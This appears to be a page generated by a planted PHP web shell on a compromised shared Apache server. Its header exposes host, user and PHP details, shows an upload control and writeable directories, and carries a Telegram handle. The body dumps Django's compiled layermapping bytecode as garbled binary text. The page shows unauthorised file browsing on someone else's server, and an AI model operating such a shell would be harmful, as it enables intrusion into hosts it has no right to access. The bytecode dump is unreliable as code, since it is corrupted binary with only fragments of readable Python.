https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/django/contrib/gis/utils/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/django/contrib/gis/utils/__pycache__/layermapping.cpython-310.pyc
o

�al�@sdZddlZddlmZmZddlmZddlm	Z	ddl
mZmZm
Z
mZmZmZddlmZmZmZmZmZmZmZddlmZmZdd	lmZmZmZm Z dd
l!m"Z"Gdd�de#�Z$Gd
d�de$�Z%Gdd�de$�Z&Gdd�de$�Z'Gdd�de$�Z(Gdd�d�Z)dS)a
 The LayerMapping class provides a way to map the contents of OGR
 vector files (e.g. SHP files) to Geographic-enabled Django models.

 For more information, please consult the GeoDjango documentation:
   https://docs.djangoproject.com/en/dev/ref/contrib/gis/layermapping/
�N)�Decimal�InvalidOperation)�Path)�
GeometryField)�CoordTransform�
DataSource�
GDALException�OGRGeometry�OGRGeomType�SpatialReference)�OFTDate�OFTDateTime�
OFTInteger�OFTInteger64�OFTReal�	OFTString�OFTTime)�FieldDoesNotExist�ObjectDoesNotExist)�connections�models�router�transaction)�	force_strc@�eZdZdS)�
LayerMapErrorN��__name__�
__module__�__qualname__�r r �G/usr/lib/python3/dist-packages/django/contrib/gis/utils/layermapping.pyr�rc@r)�
InvalidStringNrr r r r!r# r"r#c@r)�InvalidDecimalNrr r r r!r$$r"r$c@r)�InvalidIntegerNrr r r r!r%(r"r%c@r)�MissingForeignKeyNrr r r r!r&,r"r&c
@s�eZdZdZded�ded�ded�ed�jed	�ed
�jed�ed�jed
�iZieje	�ej
e�eje	�ej
e	eef�eje	eef�eje	ef�eje�eje�eje�eje�eje	ef�eje�eje�eje�eje�eje�eje	eef�ej e	eefej!e	eefej"e	eefej#e	eefi�Z$				d0dd�Z%dd�Z&dd�Z'dd�Z(dd�Z)dd�Z*dd �Z+d!d"�Z,d#d$�Z-d%d&�Z.d'd(�Z/d)d*�Z0d+d,�Z1d-d-d-d-d-e2j3d-fd.d/�Z4dS)1�LayerMappingz1A class that maps OGR Layers to GeoDjango Models.��
MultiPoint��MultiLineString��MultiPolygon�Point25D�
MultiPoint25D�
LineString25D�MultiLineString25D�
Polygon25D�MultiPolygon25DrN�utf-8�commit_on_successTcCs(t|ttf�rt||d�|_n||_|j||_|
dur|
nt�|�|_t	|jj
|_||_||_
|��t	|jjjrB|��|_nd}|rR|�|�|_|��|_n||_|reddlm}||�||_nd|_|	ru|�|	�d}|	|_nd|_||_|dkr�d|_dS|dkr�tj|_dSt d|��)	a
        A LayerMapping object is initialized using the given Model (not an instance),
        a DataSource (or string path to an OGR-supported data file), and a mapping
        dictionary.  See the module level docstring for more details and keyword
        argument usage.
        )�encodingNFr)�lookup�
autocommitr5z!Unrecognized transaction mode: %s)!�
isinstance�strrr�ds�layerr�db_for_write�usingr�ops�spatial_backend�mapping�model�check_layer�features�supports_transform�geometry_field�	geo_field�	check_srs�
source_srs�coord_transform�	transform�codecsr7r6�check_unique�unique�transaction_mode�transaction_decoratorr�atomicr)�selfrB�datarAr<rIr6rOrKrNr>r7r r r!�__init__Vs@

zLayerMapping.__init__cCs0|rt|ttf�r
t|�St|t�r|St�dS)zCheck the `fid_range` keyword.N)r9�tuple�list�slice�	TypeError)rR�	fid_ranger r r!�check_fid_range�s
zLayerMapping.check_fid_rangec
s�d|_i|_|jj�|jj}�fdd�}|j��D]�\}}z	|jj�|�}Wn
t	y3t
d|��w|jj}t
|t�r�|jrDt
d��|j}z|dkrSt|d�}nt|�}Wn
tyet
d|��w|jj}	|	j�|j�s�|�|	|�s�t
d	||dkr�d
nd|	f��||_||_|}
net
|tj�r�t
|t�r�|jj}|��D]!\}}
||
�}z|j�|�Wq�t	y�t
d||jjf��w|}
n-td
��|j|jvr�t
d|��||�}||}
t|
|j|j�s�t
d|
|
j|f��|}
|
|j|<qdS)z�
        Check the Layer metadata and ensure that it's compatible with the
        mapping information and model. Unlike previous revisions, there is no
        need to increment through each feature in the Layer.
        Fcs,z��|�}W|Stytd|��w)Nz4Given mapping OGR field "%s" not found in OGR Layer.)�index�
ValueErrorr)�ogr_map_fld�idx��
ogr_fieldsr r!�
check_ogr_fld�s��z/LayerMapping.check_layer.<locals>.check_ogr_fldz3Given mapping field "%s" not in given Model fields.zDLayerMapping does not support more than one GeometryField per model.r,�25Dz'Invalid mapping for GeometryField "%s".zDInvalid mapping geometry; model has %s%s, layer geometry type is %s.z(dim=3)�z/ForeignKey mapping field "%s" not in %s fields.z.ForeignKey mapping must be of dictionary type.z0Django field type "%s" has no OGR mapping (yet).z:OGR field "%s" (of type %s) cannot be mapped to Django %s.N)�
geom_field�fieldsr<�field_typesrA�itemsrB�_meta�	get_fieldrr�	__class__rr9r�dimr
r�	geom_type�name�
startswith�
make_multi�	coord_dimr�
ForeignKey�dict�remote_fieldrX�FIELD_TYPES�
issubclass)rR�ogr_field_typesra�
field_name�ogr_name�model_field�fld_namerp�gtype�ltype�
fields_val�	rel_model�rel_name�	ogr_fieldr^r r_r!rC�sr		�
���

��
��zLayerMapping.check_layercCsXt|t�r|}nt||j���r|j}nt|ttf�r t|�}n|jj}|s*td��|S)z>Check the compatibility of the given spatial reference object.z#No source reference system defined.)	r9rr@�spatial_ref_sys�srs�intr:r<r)rRrI�srr r r!rHs

zLayerMapping.check_srscCsNt|ttf�r|D]	}||jvrt�q	dSt|t�r#||jvr!t�dStd��)zDCheck the `unique` keyword parameter -- may be a sequence or string.zBUnique keyword argument must be set with a tuple, list, or string.N)r9rVrUrAr\r:rX)rRrN�attrr r r!rMs
��

�zLayerMapping.check_uniquec	Cs�i}|j��D]>\}}|j|}t|t�r*z	|�|j|�}Wn"ty)td��wt|t	j
j�r9|�|||�}n|�
|||�}|||<q|S)z{
        Given an OGR Feature, return a dictionary of keyword arguments for
        constructing the mapped model.
        z)Could not retrieve geometry from feature.)rArgrer9r�verify_geom�geomrrr�base�	ModelBase�	verify_fk�verify_ogr_field)rR�feat�kwargsrwrxry�valr r r!�feature_kwargs,s

�
zLayerMapping.feature_kwargscs0t|jt�r|j�|jiS�fdd�|jD�S)z�
        Given the feature keyword arguments (from `feature_kwargs`), construct
        and return the uniqueness keyword arguments -- a subset of the feature
        kwargs.
        csi|]}|�|�qSr r )�.0�fld�r�r r!�
<dictcomp>Vsz.LayerMapping.unique_kwargs.<locals>.<dictcomp>)r9rNr:)rRr�r r�r!�
unique_kwargsMszLayerMapping.unique_kwargsc
Cs�t|t�r>t|tjtjf�r>|jr|jdurt|j|j�}n|j}|jr<|dur<t	|�|jkr<t
d|j|jt	|�f��|St|t�r�t|tj
�r�z	tt|j��}Wnty`td|j��w|��}|d}|d}|j|j}|dkr�t	|d|��}	nt	|�|}	|	|kr�td|j|j|f��|}|St|ttf�r�t|tj�r�zt|j�}W|Sty�td|j��w|j}|S)	z�
        Verify if the OGR Field contents are acceptable to the model field. If
        they are, return the verified value, otherwise raise an exception.
        Nz@%s model field maximum string length is %s, given %s characters.z$Could not construct decimal from: %sr(r*rzeA DecimalField with max_digits %d, decimal_places %d must round to an absolute value less than 10^%d.z$Could not construct integer from: %s)r9rr�	CharField�	TextFieldr6�valuer�
max_length�lenr#rmr�DecimalFieldrr:�DecimalInvalidOperationr$�as_tuple�
max_digits�decimal_places�IntegerFieldr�r\r%)
rRr�ryr��d�dtup�digits�d_idx�max_prec�n_precr r r!r�YsR
��)����	���zLayerMapping.verify_ogr_fieldcCspi}|��D]\}}|�|||j�|��||<qz|j�|j�jdi|��WSty7td|j	|f��w)z�
        Given an OGR Feature, the related model and its dictionary mapping,
        retrieve the related model for the ForeignKey mapping.
        z7No ForeignKey %s model found with keyword arguments: %sNr )
rgr�rhri�objectsr>�getrr&r)rRr�r~�rel_mapping�	fk_kwargsrwrxr r r!r��s
���zLayerMapping.verify_fkcCs`|j|jkr
|j|_|�|j|�r"|j|jj}t|�}|�|�n|}|jr-|�|j�|jS)z�
        Verify the geometry -- construct and return a GeometryCollection
        if necessary (for example if the model field is MultiPolygonField while
        the mapped shapefile only contains Polygons).
        )	rprorl�MULTI_TYPES�numr	�addrK�wkt)rRr�ry�
multi_type�gr r r!r��szLayerMapping.verify_geomc
CsX|j��}z|j�|j�j|jjd�j}t|j	|�WSt
y+}ztd�|�d}~ww)z,Return the coordinate transformation object.)�sridz?Could not translate between the data source and model geometry.N)r@r�r�r>r�rGr�r�rrI�	Exceptionr)rR�
SpatialRefSys�
target_srs�excr r r!rJ�s
����zLayerMapping.coord_transformcCs|jj}|�|j�S)zHReturn the GeometryField instance associated with the geographic column.)rBrhrird)rR�optsr r r!rF�szLayerMapping.geometry_fieldcCs|j|jvo|jjd|jkS)z�
        Given the OGRGeomType for a geometry and its associated GeometryField,
        determine whether the geometry should be turned into a GeometryCollection.
        zMulti%s)r�r�rjr�django)rRrlryr r r!ro�s�zLayerMapping.make_multiFc	s"��|�}�r�dust�t�sd�n��|ddf�������fdd�	}	�jdur/��|	�}	�jj}
|r�t|t�r�||
kr�|rDtd��d\}}}
t||
|�}t|�}t	|�D]2\}}|d	|krgt
|d�}nt
||�}z|	|||
�\}}
|}WqWty���d
d|f��wdS|	�dS)a�
        Save the contents from the OGR DataSource Layer into the database
        according to the mapping dictionary given at initialization.

        Keyword Parameters:
         verbose:
           If set, information will be printed subsequent to each model save
           executed on the database.

         fid_range:
           May be set with a slice or tuple of (begin, end) feature ID's to map
           from the data source.  In other words, this keyword enables the user
           to selectively import a subset range of features in the geographic
           data source.

         step:
           If set with an integer, transactions will occur at every step
           interval. For example, if step=1000, a commit would occur after
           the 1,000th feature, the 2,000th feature etc.

         progress:
           When this keyword is set, status information will be printed giving
           the number of features processed and successfully saved.  By default,
           progress information will pe printed every 1000 features processed,
           however, this default may be overridden by setting this keyword with an
           integer for the desired interval.

         stream:
           Status information will be written to this file handle.  Defaults to
           using `sys.stdout`, but any object with a `write` method is supported.

         silent:
           By default, non-fatal error notifications are printed to stdout, but
           this keyword may be set to disable these notifications.

         strict:
           Execution of the model mapping will cease upon the first error
           encountered.  The default behavior is to attempt to continue.
        Ti�rcs|r�j|}n�j}|D]�}|d7}z��|�}Wn!ty;}z�r%��s1��d|j|f�WYd}~n�d}~wwd}�jr�zE��|�}�jj�	�j	�j
di|��}	d}t|	�j�}
|
durit
|�j�}n|
j}t
|�j�}|D]}
|�|
�qut|	�j|j�Wnty��jdi|��}	Yn	w�jdi|��}	z|	j�j	d�|d7}�r���d|r�dnd|	f�Wn1ty�}z%�r؈s׈�d	|j���d
|���s��d||f�WYd}~nd}~ww�r�|�dkr���d
||f�q
||fS)Nr(z#Ignoring Feature ID %s because: %s
FT)r>z%s: %s
�Updated�SavedzOFailed to save the feature (id: %s) into the model with the keyword arguments:
z%s
z"Failed to save %s:
 %s
Continuing
rz$Processed %d features, saved %d ...
r )r<r�r�write�fidrNr�rBr�r>r��getattrrdr	�ogrr��setattrr�r�saver�)�
feat_range�num_feat�	num_saved�
layer_iterr�r��msg�	is_update�u_kwargs�m�
geom_valuer��newr���progress�progress_intervalrR�silent�stream�strict�verboser r!�_savesp��
�������z LayerMapping.save.<locals>._saveNzOThe `step` keyword may not be used in conjunction with the `fid_range` keyword.)rrrr(z%s
Failed to save slice: %s
z(=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-)
rZr9r�rPr<r�r�ranger��	enumeraterWr�r�)rRr�rY�stepr�r�r�r��
default_ranger��nfeat�begr�r��indices�n_i�i�end�
step_slicer r�r!r��s8
* 
L


��
zLayerMapping.save)rNr4r5TNN)5rrr�__doc__r
r�r�r�	AutoFieldr�BigAutoFieldr�SmallAutoField�BooleanFieldrrr��
FloatField�	DateFieldr�
DateTimeFieldr
�
EmailField�	TimeFieldrr�r��	SlugFieldr��URLField�	UUIDField�BigIntegerField�SmallIntegerField�PositiveBigIntegerField�PositiveIntegerField�PositiveSmallIntegerFieldrtrTrZrCrHrMr�r�r�r�r�rJrFro�sys�stdoutr�r r r r!r'0s��
�����
���	�
�
��
������
�Ha!9
�r')*r�r��decimalrrr��pathlibr�django.contrib.gis.db.modelsr�django.contrib.gis.gdalrrrr	r
r�django.contrib.gis.gdal.fieldrr
rrrrr�django.core.exceptionsrr�	django.dbrrrr�django.utils.encodingrr�rr#r$r%r&r'r r r r!�<module>s  $

https://t.me/RX1948 - 2025